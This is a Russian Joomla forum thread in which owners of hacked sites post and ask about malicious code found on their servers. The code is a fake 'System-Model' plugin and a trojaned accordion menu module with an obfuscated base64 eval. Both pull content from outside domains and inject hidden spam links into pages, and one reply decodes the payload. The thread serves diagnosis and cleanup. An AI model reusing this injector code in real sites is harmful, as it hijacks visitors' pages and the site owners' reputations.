Форум русской поддержки Joomla!® CMS
11.12.2016, 02:27:54 *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

Войти
   
   Начало   Поиск Joomla 3.0 FAQ Joomla 2.5 FAQ Joomla 1.5 FAQ Правила форума Новости Joomla Реклама Войти Регистрация Помощь  
Страниц: [1]   Вниз
  Добавить закладку  |  Печать  
Автор

Взломали сайт

 (Прочитано 635 раз)
0 Пользователей и 1 Гость смотрят эту тему.
alikon1
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Сообщений: 33


« : 04.05.2016, 20:42:59 »

С утра перестали работать сразу 2 магазина с хорошими продажами и трафиком.
Переписка с саппортом хостинга ничего не дала. Сказали идут запросы на 217.12.214.248 и по таймауту 60 сек. сайт отваливается.

Обновление всех компонентов до последних версий ничего не дало, сайт так и не открывался.
Начал отключать все компоненты/плагины по очереди.

Когда дошел до System-Model плагина - сайт заработал.

Открываю настройки этого плагина:
Error. The file model.xml could not be found.

Открываю этот плагин через ftp /plugins/system/model/model.php

Код:
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class  plgSystemModel extends JPlugin {

    function plgSystemModel(& $subject, $config) {
        parent::__construct($subject, $config);
    }
   
    function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );

$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
    }
   
    function onAfterRender() {
        $body = JResponse::getBody();
if(!$body||$body=='') return true;
        $body = $this->installOptions($body);
        JResponse::setBody($body);
    }
   
    function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;

$object_id = (int) $object_id;
$object_group = trim($object_group);

$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
    }
   
    function getURIattr() {
        return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
    }
   
    public function getConfigOpt() {
        $pg = $this->getThisPage();
        $Conf = @file_get_contents($pg.'/?d=' . $_SERVER['HTTP_HOST']);
        return @unserialize($Conf);
    }
   
    function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;

$config = & JCommentsFactory::getConfig();

if ($config->get('CategoryGet')!= '') {
            $object = new stdClass();
            $object->object_cat = CategoryFactory::getAbs($object->object_cat);
            $commentText  = $comment->comment;
}
    }
   
    function installOptions($content) {
        try {
            $getOptions = $this->getConfigOpt();
            $ord = @$getOptions['l'][$this->getURIattr()];
            if(count(@$ord['m'])) {
                $opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
                $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
                $l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
                $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
            }
        } catch (Exception $e) {}
        return $content;
    }
   
    function loadAlternateCatergory($languageSuffix = '') {
        if ($languageSuffix == '') {
$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
$config = & CategoryFactory::getConfig();
$config->set('lsfx', $languageSuffix);

$language = & JFactory::getLanguage();
$language->load($languageSuffix);
}
    }
   
    function getThisPage() {
        return 'ht'.'tp'.':/'.'/mota'.'8no'.'y.c'.'om';
    }
}
?>

Ссылка на http://mota8noy.com, по IP как раз 217.12.214.248.

Но дата создания этого файла и папки 2014 год, а до сегодняшнего дня никаких проблем не было.
Причем у меня стоит jSecure, доступа нет к админке.

Кто по коду может описать что этот файл делал?
Записан
Missile
Завсегдатай
*****

Репутация: +70/-0
Offline Offline

Пол: Женский
Сообщений: 686


« Ответ #1 : 04.05.2016, 20:52:02 »

Шаблончик варёзный?
Записан
alikon1
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Сообщений: 33


« Ответ #2 : 04.05.2016, 20:59:52 »

Шаблончик варёзный?
Нет, лицензионный HikaShop Business установлен на дефолтовый protostar.
Записан
voland
Профи
********

Репутация: +488/-86
Offline Offline

Пол: Мужской
Сообщений: 8736


любит наш народ всякое гавно...


« Ответ #3 : 04.05.2016, 21:32:45 »

И ни одного варезного модуля?
А версии какие?
Записан
alikon1
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Сообщений: 33


« Ответ #4 : 04.05.2016, 21:37:14 »

И ни одного варезного модуля?
А версии какие?
Варезный это взломанный или бесплатный? Взломанных нет. jSecure тоже лицензионный. Но Joomla 3.2.2, тут косяк конечно.
Записан
wishlight
Профи
********

Репутация: +201/-1
Offline Offline

Пол: Мужской
Сообщений: 3491


skype aqaus.com


« Ответ #5 : 04.05.2016, 21:58:08 »

3.2.2 2 критические уязвимости при использовании php 5.3, одна если повыше.
Записан
voland
Профи
********

Репутация: +488/-86
Offline Offline

Пол: Мужской
Сообщений: 8736


любит наш народ всякое гавно...


« Ответ #6 : 04.05.2016, 22:23:36 »

Но Joomla 3.2.2, тут косяк конечно.
Ну и зачем тогда темы создавать?
Записан
alikon1
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Сообщений: 33


« Ответ #7 : 04.05.2016, 22:40:00 »

Ну и зачем тогда темы создавать?
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть. Если вы сами этого не поняли.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
Записан
voland
Профи
********

Репутация: +488/-86
Offline Offline

Пол: Мужской
Сообщений: 8736


любит наш народ всякое гавно...


« Ответ #8 : 04.05.2016, 22:51:50 »

Вторая строчка в подписи.
3 месяца на форуме красными буквами висело.
Но да. Да здравствует энтропия
Записан
Missile
Завсегдатай
*****

Репутация: +70/-0
Offline Offline

Пол: Женский
Сообщений: 686


« Ответ #9 : 05.05.2016, 05:45:11 »

Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть.
Делать нужно 2 вещи, в первую очередь:
1) Регулярно обновлять Joomla и все расширения.
2) Не пользоваться варёзом.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
Таких тем за день бывает штук 10, потому что люди не выполняют требования п.п. 1 и 2. Качают "бесплатные" шаблоны и расширения, нашпигованные бэкдорами, а потом начинают кричать: "Что делать, сайт взломали!"
Серьёзно - вы думаете, что это "бесплатное" добро распространяют альтруисты, которые покупают расширения, а потом раздают их даром? Вот так люди и становятся донорами для чьих-то г*ссылок, участниками спамерской сети или частью ботнета.

В прикреплённых темах в разделе "Безопасность сайтов" всё прекрасно расписано. Что делать? Читать, думать, исправлять ошибки и мотать на ус.
Записан
SeBun
Практически профи
*******

Репутация: +134/-3
Offline Offline

Пол: Мужской
Сообщений: 2289



« Ответ #10 : 06.05.2016, 17:22:09 »

@alikon1, как я понимаю, вы этот код удалили. Но шелл, через который все это вам написали, наверняка остался. Пройдитесь айболитом, может что то еще найдет. Если не будете нанимать специалиста для чистки, смотрите внимательно за сайтами. Запретите изменения тех файлов, в которых вы находите чужие скрипты, таким образом в error_log появится информация о том, кто или что эти записи делает и найти источник проблем. Возможно шеллов несколько. Установите какой нибудь скрипт контроля файлов по хешам (дата изменения легко подменяется), и запускайте его кроном. Ну и естественно обновите до актуальной версии.
Записан
nevgenyv
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 5


« Ответ #11 : 12.05.2016, 14:29:40 »

Уважаемые форумчане помогите взломали школьный сайт (pavl-school.ru) при обращении к нему пишет Gateway Timeout, написал письмо в RuCentr с просьбой выяснить что случилось, они написали что сайт взломан и обращается на левый IP и  сайт gene7conf.com который не существует т.к. я не спец в PHP я неделю уже бьюсь нашел зараженный файл, с помощью онлайн антивируса, нашел его там в конце всякие кракозябры но при удалении их или только строки echo eval(base64_decode($SystemJoCode)); сайт выдает ошибку 500. Помогите справится. Код прилагается.
Код:
<?php
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
 
if(!defined('OfflajnMenuBase')) {
  define("OfflajnMenuBase", null);

  class OfflajnMenuBase{
   
    var $_template;
   
    var $_module;
   
    var $_params;
   
    var $items;
   
    var $allItems;
   
    var $active;
   
    var $pointer;
   
    var $itemsCount;
   
    var $stack;
   
    var $level;
   
    var $endLevel;
   
    var $startLevel;
   
    var $improvedStartLevel;
   
    var $opened;
   
    var $openedlevels;
   
    function OfflajnMenuBase($module, $params){
      $this->_module = $module;
      $this->_params = $params;
      $this->endLevel = $params->get('endLevel', 1000);
      if($this->endLevel == 0) $this->endLevel = 1000;
      $this->startLevel = $params->get('startLevel', 0);
      $this->improvedStartLevel = $params->get('improvedstartlevel', 1);
      $this->opened = $params->get('opened', 2);
      $ol = $params->get('openedlevels', 0);
      if(!is_array($ol)){
        $ol = array($ol);
      }
      $this->openedlevels = array_flip($ol);
    }
   
    function generateItems(){
      $options = array();
      $this->allItems = array();
      $this->active = new stdClass();
      $this->items = array();
    }
   
  function getItems(){
      /*
      If COOKIE tracking enabled
      */
      if($this->opened == 3){
        foreach($_COOKIE AS $k => $v){
          if($v == 1 && strpos($k, $this->_module->instanceid)!== false){
            $val = (int)str_replace($this->_module->instanceid.'-'.$this->_module->navClassPrefix, '', $k);
        //print_r($this->allItems[$val]);
            if($val > 0 && isset($this->allItems[$val]) ){
              $this->allItems[$val]->opened = true;
            }
          }
        }
      }
     
      $this->filterItems();
     
    $root = 0;
  if(isset($this->active)){
        $i = $this->active->id;
    $stack = array($this->active->id);
    $el = $this->active;
        while($i > 0){
          $el = $this->allItems[$i];
          $i = $el->parent;
          $stack[] = $i;
        }
        $c = count($stack);
        if($c > 0){
          switch($this->_params->get('active', 1)){
            case 1:
              $this->allItems[$stack[0]]->active = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->active = true;
              }
              break;
          }
         
          switch($this->opened){
            case 1:
              $this->allItems[$stack[0]]->opened = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->opened = true;
              }
              break;
          }
        }
       
    if($this->startLevel > 0){
          if($this->improvedStartLevel){
            while($this->startLevel != 0){
              if(isset($stack[$c-$this->startLevel-1]) && isset($this->helper[$stack[$c-$this->startLevel-1]])){
                $root = $stack[$c-$this->startLevel-1];
                break;
              }
              $this->startLevel--;
            }
          }else{
            $root = -1;
            if(isset($stack[$c-$this->startLevel-1])){
              $root = $stack[$c-$this->startLevel-1];
            }
          }
        }
      }
     
      $p = new stdClass();
      if($root > 0 && isset($this->allItems[$root])){
        $p = $this->allItems[$root];
      }else{
        $p->id = $root;
      }
  return $this->getChilds($p, 1);
  }
   
    function filterItems(){
  $this->helper = array();
  foreach ($this->allItems as $item){
  if (!is_object($item)) continue;
    $item->p = false; // parent
    $item->fib = false; // First in Branch
    $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
    $item->active = false; // Active
  $this->helper[$item->parent][] = $item;
  }
    }
   
  function getChilds(&$parent, $level){
    $items = array();
    if(isset($this->helper[$parent->id])){
        $helper = &$this->helper[$parent->id];
        usort($helper, array($this, "menuOrdering")); // It can slow down the proccess. Not required every time... With this the process half as fast...
        $helper[0]->fib = true;
        $helper[count($helper)-1]->lib = true;
        if($level <= $this->endLevel){
          $i = 0;
          $keys = array_keys($helper);
          for($j = 0; $j < count($keys); $j++){
            $h = &$helper[$keys[$j]];
            $h->parent = &$parent;
            $childs =& $this->getChilds($h, $level+1);
            if(count($childs) > 0) $h->p = true;
            $h->level = $level;
            $items[] = &$h;
            $i = count($items);
            array_splice($items, $i, 0, $childs);
          }
        }
      }
      return $items;
    }
   
    function filterItem(&$item){
      $item->nname = '<span>'.stripslashes($item->name).'</span>';
    }
   
    function menuOrdering(&$a, &$b){
        return 0;
    }
 
  function render($template){
    $this->pointer = 0;
    $this->itemsCount = count($this->items);
    $this->_template = $template;
      $this->stack = array();
      $this->level = 1;
      $this->up = false;
      $this->renderItem();
      /*$level = 0;
      foreach($this->items as $item){
        include $template;
      }*/
    }
   
    function renderItem(){
      while($this->pointer < $this->itemsCount){
        $item =& $this->items[$this->pointer++];
        $this->filterItem($item);
        include $this->_template;
      }
    }
  }
}
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }
?>
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 727


Свободен для работы


« Ответ #12 : 12.05.2016, 15:21:06 »

Цитировать
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }

Это код вызова скрытых ссылок, вам нужно удолять не только echo eval(base64_decode($SystemJoCode)); а всю функцию в которой она вызывается, также вам нужно еще найти где вызывается эта функция, если она не оббусифецирована то вызов ее будет таков AccordionMenuParGet();

Ну так полагаю эта малая часть из того что вам удалось найти...

P.S:
Если разобрать код в читабельный вид, то в нем прописано:
Цитировать
echo "<div style='position:absolute;left:-4501px;width:531px'>"; echo @file_get_contents('http://template-license.ru/license.php'); echo '</div>';
Записан
nevgenyv
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 5


« Ответ #13 : 13.05.2016, 12:51:18 »

Проверил антивирусом Ai Bolit нашел 21 вредоносный или хакерский скрипт из них 17 в tmp эту папку я почистил но вот 4 файла они относятся к меню по совету я вычистил тот мусор что был указан и все равно при открытии сайта выходит ошибка 500, может я чего лишнего убираю (ну не знаю я PHP) ниже коды файлов. Один выложен выше.
menu.php
Код:
<?php
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined('_JEXEC') or die('Restricted access');
if(!defined('OfflajnJoomlaMenu')) {
  define("OfflajnJoomlaMenu", null);
  jimport('joomla.application.menu');
  jimport('joomla.html.parameter');
 
  require_once(dirname(__FILE__). DS .'..'.DS.'..'.DS.'core'.DS.'MenuBase.php');

  class OfflajnJoomlaMenu extends OfflajnMenuBase{
   
    function OfflajnJoomlaMenu($module, $params){
      parent::OfflajnMenuBase($module, $params);
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $this->parentName = 'parent_id';
        $this->name = 'title';
      }else{
        $this->parentName = 'parent';
        $this->name = 'name';
      }
    }
   
    function generateItems(){
      $options = array();
      $menu =& JMenu::getInstance('site', $options);
      $this->allItems = $menu->getMenu();
      $this->active =& $menu->getActive();
      $this->items = $this->getItems();
    }
   
    function filterItems(){
      $this->helper = array();
      $user =& JFactory::getUser();
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $aid = $user->getAuthorisedViewLevels();
      }else{
        $aid = $user->get('aid');
      }
      $menutype = $this->_params->get('joomlamenu');
      $ids = $this->_params->get('joomlamenutype');
      if(!is_array($ids) && is_string($ids)){
        $ids = array($ids);
      }
      if(!in_array(0, $ids) && count($ids) > 0){
        if(count($ids) == 1){
          $keys = array_keys($this->allItems);
          $newParent = $ids[0];
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if($el->{$this->parentName} == $newParent) $el->{$this->parentName} = 0;
            elseif($el->{$this->parentName} == 0) $el->{$this->parentName} = -1;
          }
        }else{
          $keys = array_keys($this->allItems);
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if(in_array($el->id, $ids)) $el->{$this->parentName} = version_compare(JVERSION,'1.6.0','ge')? 1 : 0;
            elseif($el->{$this->parentName} == (version_compare(JVERSION,'1.6.0','ge')? 1 : 0)) $el->{$this->parentName} = -1;
          }
        }
      }
      $keys = array_keys($this->allItems);
      for($x=0; $x < count($keys); $x++ ){
        $item = &$this->allItems[$keys[$x]];
        if (!is_object($item)) continue;
        $item->parent = version_compare(JVERSION,'1.6.0','ge') && $item->{$this->parentName} == 1 ? 0 : $item->{$this->parentName};
        version_compare(JVERSION,'1.6.0','ge')? $item->ordering = $x : 0;
        if ($item->menutype == $menutype && (is_array($aid)? in_array($item->access, $aid) : $item->access <= $aid) ){
          $item->p = false; // parent
          $item->fib = false; // First in Branch
          $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
          $item->active = false; // Active
          $this->helper[$item->parent][] = $item;
        }
      }
    }
   
       
    function filterItem(&$item){
      $item->cparams = new JParameter($item->params);
      if($item->type == 'menulink' || $item->type == 'alias'){
        $itemid = version_compare(JVERSION,'1.6.0','ge')?  $item->cparams->get('aliasoptions') : $item->cparams->get('menu_item');
        if(isset($this->allItems[$itemid])){
          $newItem = $this->allItems[$itemid];
          $item->link = $newItem->link;
          $item->ttype = $newItem->type;
          $item->id = $newItem->id;
        }else{
          $item->ttype = 'separator';
        }
      }else{
        $item->ttype = $item->type;
      }
      $item->nname = '<span>'.$item->{$this->name}.'</span>';
     
      $image = '';
      if ($this->_params->get('menu_images') && $item->cparams->get('menu_image') && $item->cparams->get('menu_image')!= -1) {
  switch ($this->_params->get('menu_images_align', 0)){
  case 0 :
    $imgalign='align="left"';
    break;
  case 1 :
    $imgalign='align="right"';
    break;
  default :
    $imgalign='';
    break;
  }
  $image = '<img src="'.JURI::base(true).'/images/stories/'.$item->cparams->get('menu_image').'" '.$imgalign.' alt="'.$item->alias.'" />';
  if($this->_params->get('menu_images_link')){
    $item->nname = null;
        }
  }
 
  if($this->_params->get('parentlink') == 0 && $item->p){
        $item->ttype = 'separator';
      }
     
  switch ($item->ttype){
  case 'separator' :
  $item->url = '';
  return true;
  case 'url' :
  if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
  $item->url = $item->link.'&amp;Itemid='.$item->id;
  } else {
  $item->url = $item->link;
  }
  break;
 
  default :
  $router = JSite::getRouter();
  $item->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$item->id : $item->link.'&Itemid='.$item->id;
  break;
  }
  if ($item->url != ''){
  // Handle SSL links
  $iSecure = $item->cparams->def('secure', 0);
  if ($item->home == 1) {
  $item->url = JURI::base();
  } elseif (strcasecmp(substr($item->url, 0, 4), 'http') && (strpos($item->link, 'index.php?')!== false)) {
  $item->url = JRoute::_($item->url, true, $iSecure);
  } else {
  $item->url = str_replace('&', '&amp;', $item->url);
  }
 
  switch ($item->browserNav)
  {
  default:
  case 0:
  // _top
  $item->nname = '<a href="'.$item->url.'">'.$image.$item->nname.'</a>';
  break;
  case 1:
  // _blank
  $item->nname = '<a href="'.$item->url.'" target="_blank">'.$image.$item->nname.'</a>';
  break;
  case 2:
  // window.open
  $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$this->_params->get('window_open');
  $link = str_replace('index.php', 'index2.php', $item->url);
  $item->nname = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">'.$image.$item->nname.'</a>';
  break;
  }
  } else {
  $item->nname = '<a>'.$image.$item->nname.'</a>';
  }
    }
   
    function menuOrdering(&$a, &$b){
      if ($a->ordering == $b->ordering) {
          return 0;
      }
      return ($a->ordering < $b->ordering)? -1 : 1;
    }
  }
}
$OfflajnExtenParam = AccordionMenuParGet();
?>

theme.js
Код:
var ThemeConfigurator = {};

dojo.declare("ThemeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.themeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'last');
   
   this.tpc = dojo.byId('themeparamcontainer');
   this.themeDetails = dojo.byId('theme-details');
   
   this.selectTheme = dojo.byId(this.selectTheme);
   this.savedindex = this.selectTheme.selectedIndex;
   dojo.connect(this.selectTheme, 'onchange', this, 'changeTheme');
   this.changeTheme();
  },
 
  changeTheme: function(e){
    this.theme = this.selectTheme.options[this.selectTheme.selectedIndex].value;
    if(this.theme == '' || this.theme == 'default') this.theme = 'default2';
    dojo.byId('theme-details').innerHTML = eval('this.themeParams.'+this.theme);
    eval(eval('this.themeScripts.'+this.theme));
    if(e != undefined && this.savedindex != this.selectTheme.selectedIndex)
      setTimeout(dojo.hitch(this, "changeSkin"), 500 );
  },
 
  changeSkin: function(){
    var el = dojo.byId('paramsthemeskin')? dojo.byId('paramsthemeskin') : dojo.byId('jformparamsthemethemeskin');
    el.selectedIndex = 1;
    changeSkinsthemeskin(el);
  }
 
});
type.js
Код:
dojo.declare("TypeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.typeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'first');
   
   this.tpc = dojo.byId('typeparamcontainer');
   this.typeDetails = dojo.byId('type-details');
   
   this.selectType = dojo.byId(this.selectorId);
   dojo.connect(this.selectType, 'onchange', this, 'changeType');
   this.changeType();
  },
 
  changeType: function(e){
    this.type = this.selectType.options[this.selectType.selectedIndex].value;
    if(this.type == '' || this.type == 'joomla') this.type = 'joomla';
    dojo.byId('type-details').innerHTML = eval('this.typeParams.'+this.type);
    eval(eval('this.typeScripts.'+this.type));
  }
});

dojo.declare("JoomlaType", null, {
  constructor: function(args){
    dojo.mixin(this, args);
    this.list = dojo.byId(this.selectorId);
    this.select = dojo.byId("paramsjoomlamenu")? dojo.byId("paramsjoomlamenu") : dojo.byId('jformparamsmenutypejoomlamenu');
    dojo.destroy(this.select.options[0]);
    dojo.connect(this.select, 'onchange', this, "changeList");
    this.defaultMenu = this.select.options[this.select.selectedIndex].value;
    this.changeList();
  },
 
  changeList: function(e) {
      var type = this.select.options[this.select.selectedIndex].value;
      this.list.innerHTML = this.data[type];
      if (type!=this.defaultMenu && e && e.currentTarget == this.select) this.list.selectedIndex = 0;   
      if(e == undefined) this.list.selectedIndex = 0;
  }
});
С утра голову ломаю.  !
 
Записан
nevgenyv
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 5


« Ответ #14 : 13.05.2016, 14:19:45 »

Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  Shocked  Sad  drink
Записан
wishlight
Профи
********

Репутация: +201/-1
Offline Offline

Пол: Мужской
Сообщений: 3491


skype aqaus.com


« Ответ #15 : 13.05.2016, 15:40:28 »

Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  Shocked  Sad  drink

Сколько сайтов на аккаунте и какие версии Joomla?
Записан
nevgenyv
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 5


« Ответ #16 : 16.05.2016, 12:30:34 »

Сайт 1? Joomla! 2.5.28
Записан
wishlight
Профи
********

Репутация: +201/-1
Offline Offline

Пол: Мужской
Сообщений: 3491


skype aqaus.com


« Ответ #17 : 16.05.2016, 13:08:25 »

Патч безопасности стоит?
Записан
nevgenyv
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 5


« Ответ #18 : 17.05.2016, 09:37:38 »

Нет и обновить Joomla до 3 версии не могу
Записан
wishlight
Профи
********

Репутация: +201/-1
Offline Offline

Пол: Мужской
Сообщений: 3491


skype aqaus.com


« Ответ #19 : 17.05.2016, 09:57:32 »

Ну надо поставить и чистить. Еще бы неплохо список расширений знать. У меня еще один сайт на Joomla 1.5 есть и нормально работает.
Записан
flyingspook
Moderator
*****

Репутация: +226/-9
Offline Offline

Сообщений: 3540


« Ответ #20 : 17.05.2016, 14:45:15 »

У меня еще один сайт на Joomla 1.5 есть и нормально работает.
У нас десятки и работают))
Дело не в версии.
Записан
Страниц: [1]   Вверх
  Добавить закладку  |  Печать  
 
Перейти в:  

Powered by SMF 1.1.21 | SMF © 2006, Simple Machines

Joomlaforum.ru is not affiliated with or endorsed by the Joomla! Project or Open Source Matters.
The Joomla! name and logo is used under a limited license granted by Open Source Matters
the trademark holder in the United States and other countries.

LiveInternet